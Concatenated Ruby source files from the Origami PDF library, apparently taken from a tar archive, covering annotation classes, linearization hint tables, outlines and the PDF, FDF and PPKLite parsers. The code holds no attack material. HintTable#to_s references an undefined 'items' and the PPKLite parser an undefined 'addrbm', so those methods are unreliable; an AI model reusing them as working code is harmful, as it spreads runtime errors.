Class representing an link annotation. # class Link < Annotation # # The annotation’s highlighting mode, the visual effect to be used when the mouse button is pressed or held down inside its active area. # module Highlight # No highlighting NONE = :N # Invert the contents of the annotation rectangle. INVERT = :I # Invert the annotation’s border. OUTLINE = :O # Display the annotation as if it were being pushed below the surface of the page PUSH = :P end field :Subtype, :Type => Name, :Default => :Link, :Required => true field :A, :Type => Dictionary, :Version => "1.1" field :Dest, :Type => [ Array, Name, ByteString ] field :H, :Type => Name, :Default => Highlight::INVERT, :Version => "1.2" field :AP, :Type => Dictionary, :Version => "1.3" field :QuadPoints, :Type => Array, :Version => "1.6" end # # Class representing a file attachment annotation. # class FileAttachment < Annotation include Markup # Icons to be displayed for file attachment. module Icons GRAPH = :Graph PAPERCLIP = :Paperclip PUSHPIN = :PushPin TAG = :Tag end field :Subtype, :Type => Name, :Default => :FileAttachment, :Required => true field :FS, :Type => Dictionary, :Required => true field :Name, :Type => Name, :Default => Icons::PUSHPIN end # # Class representing a screen Annotation. # A screen annotation specifies a region of a page upon which media clips may be played. It also serves as an object from which actions can be triggered. # class Screen < Annotation include Triggerable field :Subtype, :Type => Name, :Default => :Screen, :Required => true field :T, :Type => String field :MK, :Type => Dictionary field :A, :Type => Dictionary, :Version => "1.1" field :AA, :Type => Dictionary, :Version => "1.2" end class Sound < Annotation include Markup module Icons SPEAKER = :Speaker MIC = :Mic end field :Subtype, :Type => Name, :Default => :Sound, :Required => true field :Sound, :Type => Stream, :Required => true field :Name, :Type => Name, :Default => Icons::SPEAKER end class RichMedia < Annotation field :Subtype, :Type => Name, :Default => :RichMedia, :Version => "1.7", :ExtensionLevel => 3, :Required => true field :RichMediaSettings, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 field :RichMediaContent, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3, :Required => true class Settings < Dictionary include StandardObject field :Type, :Type => Name, :Default => :RichMediaSettings, :Version => "1.7", :ExtensionLevel => 3 field :Activation, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 field :Deactivation, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 end class Activation < Dictionary include StandardObject USER_ACTION = :XA PAGE_OPEN = :PO PAGE_VISIBLE = :PV field :Type, :Type => Name, :Default => :RichMediaActivation, :Version => "1.7", :ExtensionLevel => 3 field :Condition, :Type => Name, :Default => USER_ACTION, :Version => "1.7", :ExtensionLevel => 3 field :Animation, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 field :View, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 field :Configuration, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 field :Presentation, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 field :Scripts, :Type => Array, :Version => "1.7", :ExtensionLevel => 3 end class Deactivation < Dictionary include StandardObject USER_ACTION = :XD PAGE_CLOSE = :PC PAGE_INVISIBLE = :PV field :Type, :Type => Name, :Default => :RichMediaDeactivation, :Version => "1.7", :ExtensionLevel => 3 field :Condition, :Type => Name, :Default => USER_ACTION, :Version => "1.7", :ExtensionLevel => 3 end class Animation < Dictionary include StandardObject NONE = :None LINEAR = :Linear OSCILLATING = :Oscillating field :Type, :Type => Name, :Default => :RichMediaAnimation, :Version => "1.7", :ExtensionLevel => 3 field :Subtype, :Type => Name, :Default => NONE, :Version => "1.7", :ExtensionLevel => 3 field :PlayCount, :Type => Integer, :Default => -1, :Version => "1.7", :ExtensionLevel => 3 field :Speed, :Type => Number, :Default => 1, :Version => "1.7", :ExtensionLevel => 3 end class Presentation < Dictionary include StandardObject WINDOWED = :Windowed EMBEDDED = :Embedded field :Type, :Type => Name, :Default => :RichMediaPresentation, :Version => "1.7", :ExtensionLevel => 3 field :Style, :Type => Name, :Default => EMBEDDED, :Version => "1.7", :ExtensionLevel => 3 field :Window, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 field :Transparent, :Type => Boolean, :Default => false, :Version => "1.7", :ExtensionLevel => 3 field :NavigationPane, :Type => Boolean, :Default => false, :Version => "1.7", :ExtensionLevel => 3 field :Toolbar, :Type => Boolean, :Version => "1.7", :ExtensionLevel => 3 field :PassContextClick, :Type => Boolean, :Default => false, :Version => "1.7", :ExtensionLevel => 3 end class Window < Dictionary include StandardObject field :Type, :Type => Name, :Default => :RichMediaWindow, :Version => "1.7", :ExtensionLevel => 3 field :Width, :Type => Dictionary, :Default => {:Default => 288, :Max => 576, :Min => 72}, :Version => "1.7", :ExtensionLevel => 3 field :Height, :Type => Dictionary, :Default => {:Default => 216, :Max => 432, :Min => 72}, :Version => "1.7", :ExtensionLevel => 3 field :Position, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 end class Position < Dictionary include StandardObject NEAR = :Near CENTER = :Center FAR = :Far field :Type, :Type => Name, :Default => :RichMediaPosition, :Version => "1.7", :ExtensionLevel => 3 field :HAlign, :Type => Name, :Default => FAR, :Version => "1.7", :ExtensionLevel => 3 field :VAlign, :Type => Name, :Default => NEAR, :Version => "1.7", :ExtensionLevel => 3 field :HOffset, :Type => Number, :Default => 18, :Version => "1.7", :ExtensionLevel => 3 field :VOffset, :Type => Number, :Default => 18, :Version => "1.7", :ExtensionLevel => 3 end class Content < Dictionary include StandardObject field :Type, :Type => Name, :Default => :RichMediaContent, :Version => "1.7", :ExtensionLevel => 3 field :Assets, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 field :Configurations, :Type => Array, :Version => "1.7", :ExtensionLevel => 3 field :Views, :Type => Array, :Version => "1.7", :ExtensionLevel => 3 end class Configuration < Dictionary include StandardObject U3D = :"3D" FLASH = :Flash SOUND = :Sound VIDEO = :Video field :Type, :Type => Name, :Default => :RichMediaConfiguration, :Version => "1.7", :ExtensionLevel => 3 field :Subtype, :Type => Name, :Version => "1.7", :ExtensionLevel => 3 field :Name, :Type => String, :Version => "1.7", :ExtensionLevel => 3 field :Instances, :Type => Array, :Version => "1.7", :ExtensionLevel => 3 end class Instance < Dictionary include StandardObject U3D = :"3D" FLASH = :Flash SOUND = :Sound VIDEO = :Video field :Type, :Type => Name, :Default => :RichMediaInstance, :Version => "1.7", :ExtensionLevel => 3 field :Subtype, :Type => Name, :Version => "1.7", :ExtensionLevel => 3 field :Params, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 field :Asset, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3 end class Parameters < Dictionary include StandardObject module Binding NONE = :None FOREGROUND = :Foreground BACKGROUND = :Background MATERIAL = :Material end field :Type, :Type => Name, :Default => :RichMediaParams, :Version => "1.7", :ExtensionLevel => 3 field :FlashVars, :Type => [String, Stream], :Version => "1.7", :ExtensionLevel => 3 field :Binding, :Type => Name, :Default => Binding::NONE, :Version => "1.7", :ExtensionLevel => 3 field :BindingMaterialName, :Type => String, :Version => "1.7", :ExtensionLevel => 3 field :CuePoints, :Type => Array, :Default => [], :Version => "1.7", :ExtensionLevel => 3 field :Settings, :Type => [String, Stream], :Version => "1.7", :ExtensionLevel => 3 end class CuePoint < Dictionary include StandardObject NAVIGATION = :Navigation EVENT = :Event field :Type, :Type => Name, :Default => :CuePoint, :Version => "1.7", :ExtensionLevel => 3 field :Subtype, :Type => Name, :Version => "1.7", :ExtensionLevel => 3 field :Name, :Type => String, :Version => "1.7", :ExtensionLevel => 3, :Required => true field :Time, :Type => Number, :Version => "1.7", :ExtensionLevel => 3, :Required => true field :A, :Type => Dictionary, :Version => "1.7", :ExtensionLevel => 3, :Required => true end end # # Class representing a widget Annotation. # Interactive forms use widget annotations to represent the appearance of fields and to manage user interactions. # class Widget < Annotation include Field include Triggerable module Highlight # No highlighting NONE = :N # Invert the contents of the annotation rectangle. INVERT = :I # Invert the annotation’s border. OUTLINE = :O # Display the annotation as if it were being pushed below the surface of the page PUSH = :P # Same as P. TOGGLE = :T end field :Subtype, :Type => Name, :Default => :Widget, :Required => true field :H, :Type => Name, :Default => Highlight::INVERT field :MK, :Type => Dictionary field :A, :Type => Dictionary, :Version => "1.1" field :AA, :Type => Dictionary, :Version => "1.2" field :BS, :Type => Dictionary, :Version => "1.2" def onActivate(action) unless action.is_a?(Action) raise TypeError, "An Action object must be passed." end self.A = action end class Button < Widget module Flags NOTOGGLETOOFF = 1 << 14 RADIO = 1 << 15 PUSHBUTTON = 1 << 16 RADIOSINUNISON = 1 << 26 end field :FT, :Type => Name, :Default => Field::Type::BUTTON, :Required => true end class PushButton < Button def pre_build self.Ff ||= 0 self.Ff |= Button::Flags::PUSHBUTTON super end end class CheckBox < Button def pre_build self.Ff ||= 0 self.Ff &= ~Button::Flags::RADIO self.Ff &= ~Button::Flags::PUSHBUTTON super end end class Radio < Button def pre_build self.Ff ||= 0 self.Ff &= ~Button::Flags::PUSHBUTTON self.Ff |= Button::Flags::RADIO super end end class Text < Widget module Flags MULTILINE = 1 << 12 PASSWORD = 1 << 13 FILESELECT = 1 << 20 DONOTSPELLCHECK = 1 << 22 DONOTSCROLL = 1 << 23 COMB = 1 << 24 RICHTEXT = 1 << 25 end field :FT, :Type => Name, :Default => Field::Type::TEXT, :Required => true field :MaxLen, :Type => Integer end class Choice < Widget module Flags COMBO = 1 << 17 EDIT = 1 << 18 SORT = 1 << 19 MULTISELECT = 1 << 21 DONOTSPELLCHECK = 1 << 22 COMMITONSELCHANGE = 1 << 26 end field :FT, :Type => Name, :Default => Field::Type::CHOICE, :Required => true field :Opt, :Type => Array field :TI, :Type => Integer, :Default => 0 field :I, :Type => Array, :Version => "1.4" end class ComboBox < Choice def pre_build self.Ff ||= 0 self.Ff |= Choice::Flags::COMBO super end end class ListBox < Choice def pre_build self.Ff ||= 0 self.Ff &= ~Choice::Flags::COMBO end end class Signature < Widget field :FT, :Type => Name, :Default => Field::Type::SIGNATURE field :Lock, :Type => Dictionary, :Version => "1.5" field :SV, :Type => Dictionary, :Version => "1.5" end end # # Class representing additional actions which can be associated with an annotation having an AA field. # class AdditionalActions < Dictionary include StandardObject field :E, :Type => Dictionary, :Version => "1.2" # Mouse Enter field :X, :Type => Dictionary, :Version => "1.2" # Mouse Exit field :D, :Type => Dictionary, :Version => "1.2" # Mouse Down field :U, :Type => Dictionary, :Version => "1.2" # Mouse Up field :Fo, :Type => Dictionary, :Version => "1.2" # Focus field :Bl, :Type => Dictionary, :Version => "1.2" # Blur field :PO, :Type => Dictionary, :Version => "1.2" # Page Open field :PC, :Type => Dictionary, :Version => "1.2" # Page Close field :PV, :Type => Dictionary, :Version => "1.2" # Page Visible field :PI, :Type => Dictionary, :Version => "1.2" # Page Invisible end end end origami-pdf-1.2.7/lib/origami/linearization.rb0000644000175000017500000002234412101464040021520 0ustar terceiroterceiro=begin = File linearization.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class PDF class LinearizationError < Exception #:nodoc: end # # Returns whether the current document is linearized. # def is_linearized? begin obj = @revisions.first.objects.sort_by{|obj| obj.file_offset}.first rescue return false end obj.is_a?(Dictionary) and obj.has_key? :Linearized end # # Tries to delinearize the document if it has been linearized. # This operation is xrefs destructive, should be fixed in the future to merge tables. # def delinearize! raise LinearizationError, 'Not a linearized document' unless is_linearized? # # Saves the first trailer. # prev_trailer = @revisions.first.trailer lin_dict = @revisions.first.objects.first hints = lin_dict[:H] # # Removes hint streams used by linearization. # if hints.is_a?(::Array) if hints.length > 0 and hints[0].is_a?(Integer) hint_stream = get_object_by_offset(hints[0]) delete_object(hint_stream.reference) if hint_stream.is_a?(Stream) end if hints.length > 2 and hints[2].is_a?(Integer) overflow_stream = get_object_by_offset(hints[2]) delete_object(overflow_stream.reference) if overflow_stream.is_a?(Stream) end end # # Update the trailer. # last_trailer = (@revisions.last.trailer ||= Trailer.new) last_trailer.dictionary ||= Dictionary.new if prev_trailer.has_dictionary? last_trailer.dictionary = last_trailer.dictionary.merge(prev_trailer.dictionary) else xrefstm = get_object_by_offset(last_trailer.startxref) raise LinearizationError, 'Cannot find trailer info while delinearizing document' unless xrefstm.is_a?(XRefStream) last_trailer.dictionary[:Root] = xrefstm[:Root] last_trailer.dictionary[:Encrypt] = xrefstm[:Encrypt] last_trailer.dictionary[:Info] = xrefstm[:Info] last_trailer.dictionary[:ID] = xrefstm[:ID] end # # Remove all xrefs. # Fix: Should be merged instead. # remove_xrefs # # Remove the linearization revision. # remove_revision(0) self end end # # Class representing a linearization dictionary. # class Linearization < Dictionary include StandardObject field :Linearized, :Type => Real, :Default => 1.0, :Required => true field :L, :Type => Integer, :Required => true field :H, :Type => Array, :Required => true field :O, :Type => Integer, :Required => true field :E, :Type => Integer, :Required => true field :N, :Type => Integer, :Required => true field :T, :Type => Integer, :Required => true field :P, :Type => Integer, :Default => 0 def initialize(hash = {}) super(hash, true) end end class InvalidHintTableError < Exception #:nodoc: end module HintTable module ClassMethods def header_item_size(number, size) @header_items_size[number] = size end def get_header_item_size(number) @header_items_size[number] end def entry_item_size(number, size) @entry_items_size[number] = size end def get_entry_item_size(number) @entry_items_size[number] end def nb_header_items @header_items_size.size end def nb_entry_items @entry_items_size.size end end def self.included(receiver) receiver.instance_variable_set(:@header_items_size, {}) receiver.instance_variable_set(:@entry_items_size, {}) receiver.extend(ClassMethods) end attr_accessor :header_items attr_accessor :entries def initialize @header_items = {} @entries = [] end def to_s data = "" nitems = self.class.nb_header_items for no in (1..nitems) unless @header_items.include?(no) raise InvalidHintTableError, "Missing item #{no} in header section of #{self.class}" end value = @header_items[no] item_size = self.class.get_header_item_size(no) item_size = ((item_size + 7) >> 3) << 3 item_data = value.to_s(2) item_data = "0" * (item_size - item_data.size) + item_data data << [ item_data ].pack("B*") end i = 0 nitems = self.class.nb_entry_items @entries.each do |entry| for no in (1..items) unless entry.include?(no) raise InvalidHintTableError, "Missing item #{no} in entry #{i} of #{self.class}" end value = entry[no] item_size = self.class.get_entry_item_size(no) item_size = ((item_size + 7) >> 3) << 3 item_data = value.to_s(2) item_data = "0" * (item_size - item_data.size) + item_data data << [ item_data ].pack("B*") end i = i + 1 end data end class PageOffsetTable include HintTable header_item_size 1, 32 header_item_size 2, 32 header_item_size 3, 16 header_item_size 4, 32 header_item_size 5, 16 header_item_size 6, 32 header_item_size 7, 16 header_item_size 8, 32 header_item_size 9, 16 header_item_size 10, 16 header_item_size 11, 16 header_item_size 12, 16 header_item_size 13, 16 entry_item_size 1, 16 entry_item_size 2, 16 entry_item_size 3, 16 entry_item_size 4, 16 entry_item_size 5, 16 entry_item_size 6, 16 entry_item_size 7, 16 end class SharedObjectTable include HintTable header_item_size 1, 32 header_item_size 2, 32 header_item_size 3, 32 header_item_size 4, 32 header_item_size 5, 16 header_item_size 6, 32 header_item_size 7, 16 entry_item_size 1, 16 entry_item_size 2, 1 entry_item_size 3, 128 entry_item_size 4, 16 end end class InvalidHintStreamObjectError < InvalidStreamObjectError #:nodoc: end class HintStream < Stream attr_accessor :page_offset_table attr_accessor :shared_objects_table attr_accessor :thumbnails_table attr_accessor :outlines_table attr_accessor :threads_table attr_accessor :named_destinations_table attr_accessor :interactive_forms_table attr_accessor :information_dictionary_table attr_accessor :logical_structure_table attr_accessor :page_labels_table attr_accessor :renditions_table attr_accessor :embedded_files_table field :S, :Type => Integer, :Required => true # SHared objects field :T, :Type => Integer # Thumbnails field :O, :Type => Integer # Outlines field :A, :Type => Integer # Threads field :E, :Type => Integer # Named destinations field :V, :Type => Integer # Interactive forms field :I, :Type => Integer # Information dictionary field :C, :Type => Integer # Logical structure field :L, :Type => Integer # Page labels field :R, :Type => Integer # Renditions field :B, :Type => Integer # Embedded files def pre_build if @page_offset_table.nil? raise InvalidHintStreamObjectError, "No page offset hint table" end if @shared_objects_table.nil? raise InvalidHintStreamObjectError, "No shared objects hint table" end @data = "" save_table(@page_offset_table) save_table(@shared_objects_table, :S) save_table(@thumbnails_table, :T) save_table(@outlines_table, :O) save_table(@threads_table, :A) save_table(@named_destinations_table, :E) save_table(@interactive_forms_table, :V) save_table(@information_dictionary_table, :I) save_table(@logical_structure_table, :C) save_table(@page_labels_table, :L) save_table(@renditions_table, :R) save_table(@embedded_files_table, :B) super end private def save_table(table, name = nil) unless table.nil? self[name] = @data.size if name @data << table.to_s end end end end origami-pdf-1.2.7/lib/origami/outline.rb0000644000175000017500000000377212101464040020333 0ustar terceiroterceiro=begin = File outline.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class Outline < Dictionary include StandardObject field :Type, :Type => Name, :Default => :Outlines field :First, :Type => Dictionary field :Last, :Type => Dictionary field :Count, :Type => Integer end class OutlineItem < Dictionary include StandardObject module Style ITALIC = 1 << 0 BOLD = 1 << 1 end field :Title, :Type => String, :Required => true field :Parent, :Type => Dictionary, :Required => true field :Prev, :Type => Dictionary field :Next, :Type => Dictionary field :First, :Type => Dictionary field :Last, :Type => Dictionary field :Count, :Type => Integer field :Dest, :Type => [ Name, String, Array ] field :A, :Type => Dictionary, :Version => "1.1" field :SE, :Type => Dictionary, :Version => "1.3" field :C, :Type => Array, :Default => [ 0.0, 0.0, 0.0 ], :Version => "1.4" field :F, :Type => Integer, :Default => 0, :Version => "1.4" end end origami-pdf-1.2.7/lib/origami/parsers/0000755000175000017500000000000012427006355020011 5ustar terceiroterceiroorigami-pdf-1.2.7/lib/origami/parsers/fdf.rb0000644000175000017500000000230111646064605021075 0ustar terceiroterceiro=begin = File parsers/fdf.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'origami/parser' module Origami class FDF class Parser < Origami::Parser def parse(stream) #:nodoc: super fdf = Adobe::FDF.new fdf.header = Adobe::FDF::Header.parse(stream) @options[:callback].call(fdf.header) loop do break if (object = parse_object).nil? fdf << object end fdf.revisions.first.xreftable = parse_xreftable fdf.revisions.first.trailer = parse_trailer fdf end end end end origami-pdf-1.2.7/lib/origami/parsers/ppklite.rb0000644000175000017500000000575711646064605022030 0ustar terceiroterceiro=begin = File parsers/ppklite.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'origami/parser' module Origami module Adobe class PPKLite class Parser < Origami::Parser def parse(stream) #:nodoc: super addrbk = Adobe::PPKLite.new addrbk.header = Adobe::PPKLite::Header.parse(stream) @options[:callback].call(addrbk.header) loop do break if (object = parse_object).nil? addrbk << object end addrbk.revisions.first.xreftable = parse_xreftable addrbm.revisions.first.trailer = parse_trailer book_specialize_entries(addrbk) addrbk end def book_specialize_entries(addrbk) #:nodoc: addrbk.revisions.first.body.each_pair do |ref, obj| if obj.is_a?(Dictionary) if obj[:Type] == :Catalog o = Adobe::PPKLite::Catalog.new(obj) o.generation, o.no, o.file_offset = obj.generation, obj.no, obj.file_offset if o.PPK.is_a?(Dictionary) and o.PPK[:Type] == :PPK o.PPK = Adobe::PPKLite::PPK.new(o.PPK) if o.PPK.User.is_a?(Dictionary) and o.PPK.User[:Type] == :User o.PPK.User = Adobe::PPKLite::UserList.new(o.PPK.User) end if o.PPK.AddressBook.is_a?(Dictionary) and o.PPK.AddressBook[:Type] == :AddressBook o.PPK.AddressBook = Adobe::PPKLite::AddressList.new(o.PPK.AddressBook) end end addrbk.revisions.first.body[ref] = o elsif obj[:ABEType] == Adobe::PPKLite::Descriptor::USER o = Adobe::PPKLite::User.new(obj) o.generation, o.no, o.file_offset = obj.generation, obj.no, obj.file_offset addrbk.revisions.first.body[ref] = o elsif obj[:ABEType] == Adobe::PPKLite::Descriptor::CERTIFICATE o = Adobe::PPKLite::Certificate.new(obj) o.generation, o.no, o.file_offset = obj.generation, obj.no, obj.file_offset addrbk.revisions.first.body[ref] = o end end end end end end end end origami-pdf-1.2.7/lib/origami/parsers/pdf.rb0000644000175000017500000000605112142214376021107 0ustar terceiroterceiro=begin = File parsers/pdf.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'origami/parser' module Origami class PDF class Parser < Origami::Parser def initialize(params = {}) options = { :password => '', # Default password being tried when opening a protected document. :prompt_password => Proc.new { print "Password: " gets.chomp }, # Callback procedure to prompt password when document is encrypted. :force => false # Force PDF header detection }.update(params) super(options) end private def parse_initialize #:nodoc: if @options[:force] == true @data.skip_until(/%PDF-/).nil? @data.pos = @data.pos - 5 end pdf = PDF.new(self) info "...Reading header..." begin pdf.header = PDF::Header.parse(@data) @options[:callback].call(pdf.header) rescue InvalidHeaderError => e if @options[:ignore_errors] == true warn "PDF header is invalid, ignoring..." else raise e end end pdf end def parse_finalize(pdf) #:nodoc: warn "This file has been linearized." if pdf.is_linearized? if Origami::OPTIONS[:enable_type_propagation] info "...Propagating types..." @deferred_casts.each_pair do |ref, type| type = [ type ] unless type.is_a?(::Array) type.each do |hint| pdf.cast_object(ref, hint) end end end # # Decrypt encrypted file contents # if pdf.is_encrypted? warn "This document contains encrypted data!" passwd = @options[:password] begin pdf.decrypt(passwd) rescue EncryptionInvalidPasswordError if passwd.empty? passwd = @options[:prompt_password].call retry unless passwd.empty? end raise EncryptionInvalidPasswordError end end if pdf.is_signed? warn "This document has been signed!" end pdf end end end end require 'origami/parsers/pdf/linear' origami-pdf-1.2.7/lib/origami/parsers/pdf/0000755000175000017500000000000012427006355020562 5ustar terceiroterceiroorigami-pdf-1.2.7/lib/origami/parsers/pdf/linear.rb0000644000175000017500000000411612142214376022361 0ustar terceiroterceiro=begin = File parsers/linear.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'origami/parser' require 'origami/pdf' module Origami class PDF # # Create a new PDF linear Parser. # class LinearParser < Parser def parse(stream) super pdf = parse_initialize # # Parse each revision # revision = 0 until @data.eos? do begin pdf.add_new_revision unless revision.zero? revision = revision + 1 info "...Parsing revision #{pdf.revisions.size}..." loop do break if (object = parse_object).nil? pdf.insert(object) end pdf.revisions.last.xreftable = parse_xreftable trailer = parse_trailer pdf.revisions.last.trailer = trailer xrefstm = pdf.get_object_by_offset(trailer.startxref) || (pdf.get_object_by_offset(trailer.XRefStm) if trailer.has_field? :XRefStm) if not xrefstm.nil? warn "Found a XRefStream for this revision at #{xrefstm.reference}" pdf.revisions.last.xrefstm = xrefstm end rescue SystemExit raise rescue Exception => e error "Cannot read : " + (@data.peek(10) + "...").inspect error "Stopped on exception : " + e.message break end end parse_finalize(pdf) end end end end origami-pdf-1.2.7/lib/origami/pdf.rb0000644000175000017500000007262112204651545017440 0ustar terceiroterceiro=begin = File pdf.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'origami/object' require 'origami/null' require 'origami/name' require 'origami/dictionary' require 'origami/reference' require 'origami/boolean' require 'origami/numeric' require 'origami/string' require 'origami/array' require 'origami/stream' require 'origami/filters' require 'origami/trailer' require 'origami/xreftable' require 'origami/header' require 'origami/functions' require 'origami/catalog' require 'origami/font' require 'origami/page' require 'origami/graphics' require 'origami/destinations' require 'origami/outline' require 'origami/actions' require 'origami/file' require 'origami/acroform' require 'origami/annotations' require 'origami/3d' require 'origami/signature' require 'origami/webcapture' require 'origami/metadata' require 'origami/export' require 'origami/webcapture' require 'origami/encryption' require 'origami/linearization' require 'origami/obfuscation' require 'origami/xfa' require 'origami/javascript' require 'origami/outputintents' require 'origami/parsers/pdf' module Origami class InvalidPDFError < Exception #:nodoc: end # # Main class representing a PDF file and its inner contents. # A PDF file contains a set of Revision. # class PDF # # Class representing a particular revision in a PDF file. # Revision contains : # * A Body, which is a sequence of Object. # * A XRef::Section, holding XRef information about objects in body. # * A Trailer. # class Revision attr_accessor :pdf attr_accessor :body, :xreftable, :xrefstm, :trailer def initialize(pdf) @pdf = pdf @body = {} @xreftable = nil @xrefstm = nil @trailer = nil end def trailer=(trl) trl.pdf = @pdf @trailer = trl end def has_xreftable? not @xreftable.nil? end def has_xrefstm? not @xrefstm.nil? end def objects @body.values end end attr_accessor :header, :revisions class << self # # Reads and parses a PDF file from disk. # def read(filename, options = {}) filename = File.expand_path(filename) if filename.is_a?(::String) PDF::LinearParser.new(options).parse(filename) end # # Creates a new PDF and saves it. # If a block is passed, the PDF instance can be processed before saving. # def create(output, options = {}) pdf = PDF.new yield(pdf) if block_given? pdf.save(output, options) end alias write create # # Deserializes a PDF dump. # def deserialize(filename) Zlib::GzipReader.open(filename) { |gz| pdf = Marshal.load(gz.read) } pdf end end # # Creates a new PDF instance. # _parser_:: The Parser object creating the document. If none is specified, some default structures are automatically created to get a minimal working document. # def initialize(parser = nil) @header = PDF::Header.new @revisions = [] add_new_revision @revisions.first.trailer = Trailer.new if parser @parser = parser else init end end # # Original file name if parsed from disk, nil otherwise. # def original_filename @parser.target_filename if @parser end # # Original file size if parsed from a data stream, nil otherwise. # def original_filesize @parser.target_filesize if @parser end # # Original data parsed to create this document, nil if created from scratch. # def original_data @parser.target_data if @parser end # # Serializes the current PDF. # def serialize(filename) parser = @parser @parser = nil # do not serialize the parser Zlib::GzipWriter.open(filename) { |gz| gz.write Marshal.dump(self) } @parser = parser self end # # Saves the current document. # _filename_:: The path where to save this PDF. # def save(path, params = {}) options = { :delinearize => true, :recompile => true, :decrypt => false } options.update(params) if self.frozen? # incompatible flags with frozen doc (signed) options[:recompile] = options[:rebuildxrefs] = options[:noindent] = options[:obfuscate] = false end if path.respond_to?(:write) fd = path else path = File.expand_path(path) fd = File.open(path, 'w').binmode end intents_as_pdfa1 if options[:intent] =~ /pdf[\/-]?A1?/i self.delinearize! if options[:delinearize] and self.is_linearized? compile(options) if options[:recompile] fd.write output(options) fd.close self end alias write save # # Saves the file up to given revision number. # This can be useful to visualize the modifications over different incremental updates. # _revision_:: The revision number to save. # _filename_:: The path where to save this PDF. # def save_upto(revision, filename) save(filename, :up_to_revision => revision) end # # Returns an array of Objects whose content is matching _pattern_. # # def grep(*patterns) # # patterns.map! do |pattern| # pattern.is_a?(::String) ? Regexp.new(Regexp.escape(pattern)) : pattern # end # # unless patterns.all? { |pattern| pattern.is_a?(Regexp) } # raise TypeError, "Expected a String or Regexp" # end # # result = [] # objects.each do |obj| # begin # case obj # when String, Name # result << obj if patterns.any?{|pattern| obj.value.to_s.match(pattern)} # when Stream # result << obj if patterns.any?{|pattern| obj.data.match(pattern)} # end # rescue Exception => e # puts "[#{e.class}] #{e.message}" # # next # end # end # # result # end # # Returns an array of strings and streams matching the given pattern. # def grep(*patterns) #:nodoc: patterns.map! do |pattern| if pattern.is_a?(::String) Regexp.new(Regexp.escape(pattern), Regexp::IGNORECASE) else pattern end end unless patterns.all? { |pattern| pattern.is_a?(Regexp) } raise TypeError, "Expected a String or Regexp" end objset = [] self.indirect_objects.each do |indobj| case indobj when Stream then objset.push indobj objset.concat(indobj.dictionary.strings_cache) objset.concat(indobj.dictionary.names_cache) when Name,String then objset.push indobj when Dictionary,Array then objset.concat(indobj.strings_cache) objset.concat(indobj.names_cache) end end objset.delete_if do |obj| begin case obj when String, Name not patterns.any?{|pattern| obj.value.to_s.match(pattern)} when Stream not patterns.any?{|pattern| obj.data.match(pattern)} end rescue Exception => e true end end end # # Returns an array of Objects whose name (in a Dictionary) is matching _pattern_. # def ls(*patterns) return objects(:include_keys => false) if patterns.empty? result = [] patterns.map! do |pattern| 